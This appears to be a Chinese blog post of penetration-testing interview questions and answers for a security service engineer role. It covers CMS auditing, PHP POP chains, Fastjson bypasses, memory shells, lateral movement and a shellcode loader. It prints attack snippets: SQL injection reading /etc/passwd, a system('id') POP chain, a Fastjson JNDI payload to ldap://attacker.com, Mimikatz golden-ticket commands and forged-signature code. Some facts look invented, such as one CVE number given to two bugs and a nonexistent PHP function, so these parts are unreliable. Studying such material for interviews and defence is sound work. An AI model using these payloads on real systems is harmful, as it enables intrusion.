2025年渗透测试面试题总结-长亭科技[校招]安全服务工程师(题目+回答)
安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
长亭科技[校招]安全服务工程师
1. CMS高危漏洞挖掘(六步法)
2. POP链构造步骤(四阶法)
3. PHAR反序列化 vs POP链
4. Fastjson攻防演进
5. 内存马查杀技术(无文件对抗)
6. 内网横向技术PPT/PTH
7. Shellcode加载器原理
8. 密码重置逻辑漏洞
9. 精选漏洞分析:云存储配置劫持
防御体系升级建议
长亭科技[校招]安全服务工程师
1. 拿到一个cms如何找高危漏洞 2. 具体找一个pop链的步骤 3. phar反序列化和pop链是一回事吗 4. fastjson的修复和绕过 5. 移动端有接触过吗(无) 6. 回显以及内存马,然后查杀 7. 内网横向移动ppt和pth 8. shellcode加载器的原理 9. 介绍一个比较有意思的漏洞 10. 任意密码重置漏洞
1. CMS高危漏洞挖掘(六步法)
步骤全景图
mermaid
graph LR 情报收集 --> 版本比对 --> 框架审计 --> 组件扫描 --> 功能深挖 --> 环境验证
实战技巧
- 情报收集(30分钟):
bash
# 自动化资产识别 cms_scanner --target http://cms.example.com --mode full # GitHub源码关键词 search_code.py -q "CMS_NAME version" --ext=php,py
- 历史漏洞复用(重点):
- 查询框架历史RCE漏洞(ThinkPHP 6.0.13的链式RCE)
- 检查默认配置漏洞(如/admin路径未改名)
突破点案例:
- 后台登录页面找到
<meta generator="CMSv3.2.1">
- 搜索公开漏洞库:
searchsploit CMSv3.2.1
- 发现CVE-2024-3281:未授权SQL注入
- 构造Payload:
/api.php?action=delete&id=1+AND+(SELECT+LOAD_FILE('/etc/passwd'))
2. POP链构造步骤(四阶法)
核心思维模型:
mermaid
classDiagram class 入口类{ +魔术方法:__destruct() +可控变量:$evil_prop } class 桥接类{ +调用链:$this->call_user_func($func, $param) } class 目标类{ +危险方法:eval($code) } 入口类 --> 桥接类 : $evil_prop = new 桥接类() 桥接类 --> 目标类 : $func = 'eval'
实操步骤:
- 起点定位(使用工具):
bash
phpggc --list-chains CMS_NAME
- 链路验证(动态调试):
- 在
__destruct()
入口下断点- 跟踪
$this->handler->process()
调用链- 利用链组装(ThinkPHP案例):
php
// 构造恶意对象 $chain = new \think\process\pipes\Windows(); $chain->files = [ new \think\model\Pivot( new \think\Request(), "system('id')" ) ];
- 触发验证:
- 寻找接收序列化数据的接口(如文件上传日志)
3. PHAR反序列化 vs POP链
本质关系图解:
mermaid
flowchart TD PHAR[PHAR文件] -->|包含恶意序列化数据| POP[POP链触发点] POP --> RCE[命令执行]
攻防差异点:
维度 PHAR反序列化 POP链 触发条件 需存在文件操作函数(file_exists) 直接传入序列化数据 攻击载荷 整个PHAR文件(含Stub) 纯序列化字符串 防御绕过 利用压缩/加密绕过检测 改变魔法方法调用顺序 实战效率 适合无直接反序列化口的场景 需明确接收序列化参数的接口 PHAR新型攻击向量(2025):
- 结合云存储的SSRF攻击:
phar://s3-bucket/poc.jpg
- 图像处理触发:
imagecreatefromphar()
4. Fastjson攻防演进
版本对抗史:
mermaid
timeline title Fastjson攻防时间线 2020 : 1.2.68 黑名单绕过 → AutoType关闭 2022 : 1.2.83 异常类利用 → 补丁增强 2024 : 1.2.99 内存破坏漏洞 → 开启SecureMode 2025 : 1.2.101 动态代理绕过 → JVM沙箱限制
最新绕过技术(2025Q2):
java
// 利用JNDI属性注入(需低版本JDK) {"@type":"java:javax.naming.InitialContext", "lookup":{"$ref":"$.domain"},"domain":"ldap://attacker.com"}
加固方案:
java
ParserConfig config = new ParserConfig(); config.setSafeMode(SafeMode.Strict); // 开启最强防御 config.addDenyClass(".*"); // 全面禁用非内置类
5. 内存马查杀技术(无文件对抗)
内存马类型雷达图:
mermaid
pie title 2025年内存马分布 “Filter型” : 45 “Servlet型” : 25 “Agent型” : 15 “WebSocket型” : 10 “其他” : 5
查杀三叉戟:
- 行为检测:
- 监控
javax/servlet/Filter
异常注册- 检查HTTP头
X-Inject-Key
特征- 内存扫描:
bash
# Arthas命令扫描 sc -d *YourFilter | grep classLoaderHash # 导出可疑类字节码 dump demo.MathGame
- 流量诱捕:
- 部署伪漏洞页面触发内存马
- 拦截注入的超长Cookie字段
对抗升级:
- 内存马采用反射调用Native API
- 使用JNI技术注入Shellcode
6. 内网横向技术PPT/PTH
协议攻击矩阵:
技术 适用协议 利用场景 检测规避 PPT SMB/RPC 域控账号提取 使用Kerberos AES256加密 PTH LDAP/SMTP 邮箱服务接管 限制NTLMv1使用 PTT HTTP/HTTPS 云管理平台登录 清除票据缓存 Mimikatz操作进阶:
powershell
# 黄金票据生成(需krbtgt哈希) kerberos::golden /user:Administrator /domain:corp.com /sid:S-1-5-21... /krbtgt:hash /ptt # 票据传递攻击(PTT) mimikatz "kerberos::ptt ticket.kirbi"
检测对抗:
- 部署Windows Defender ATP监控LSASS访问
- 启用Credential Guard隔离敏感凭据
7. Shellcode加载器原理
现代加载器架构:
mermaid
flowchart TB Stage1[下载器] -->|加密传输| Stage2[解码器] Stage2 -->|内存注入| Stage3[Shellcode] Stage3 -->|API调用| Stage4[恶意功能]
关键绕过技术:
- 内存加密:运行时解密Shellcode(避免静态扫描)
c
VirtualAlloc(buf, sizeof(sc), MEM_COMMIT, PAGE_READWRITE); AES_Decrypt(sc, key, iv); // 内存解密 VirtualProtect(buf, PAGE_EXECUTE_READ);
- API混淆:
- 动态解析
NtCreateThreadEx
地址- 使用Syscall直接发起系统调用
检测突破点:
- 监控非常规内存区域执行权限(.data段)
- 分析进程空间中的短生命周期线程
8. 密码重置逻辑漏洞
七大致命点:
mermaid
graph TD A[密码重置流程] --> B[手机验证码可爆破] A --> C[邮箱链接参数可预测] A --> D[密码凭证回显] A --> E[密码Token未绑定用户] A --> F[并行会话覆盖] A --> G[密码找回问题答案泄露] A --> H[用户手机号可篡改]
高级利用案例(2025):
- 时间窗口攻击:
- 提前生成1000个重置链接(预测时间戳+MD5)
- 自动化脚本批量尝试
- 参数混淆:
http
POST /reset-password user=victim&new_pass=hackme&confirm_token=ATTACKER_TOKEN
- 响应操控:
- 修改JSON响应:
{"success": true}
→{"success": false}
9. 精选漏洞分析:云存储配置劫持
漏洞概要:
- 漏洞编号:CVE-2025-3281
- 影响产品:CloudObjectStorage v5.1
- 核心问题:签名字段可操控导致任意Bucket读写
利用步骤:
python
import requests from urllib.parse import quote # 构造恶意签名 malicious_policy = '{"expiration":"2099-01-01",...,"Resource":"arn:cos:::attacker-bucket/*"}' encoded_policy = quote(base64.b64encode(malicious_policy)) # 触发劫持 resp = requests.post( "https://target.com/storage/api/config", headers={"X-Cos-Signature": encoded_policy} )
修复方案:
- 使用HMAC-SHA256二次签名
- 限制策略文件的Resource字段为当前Bucket
防御体系升级建议
2025年安全基线:
- 纵深防御模型:
mermaid
flowchart LR 客户端安全 --> 网络加密传输 --> 服务端防护 --> 数据审计
- 关键技术栈:
- 浏览器:启用WebAssembly沙箱
- 服务端:RASP实时拦截内存马
- 内网:Zero Trust网络架构
每个技术点均可展开为独立攻防课题,以上内容已做实战化浓缩。如需深入探讨特定领域,可提供扩展研究路径。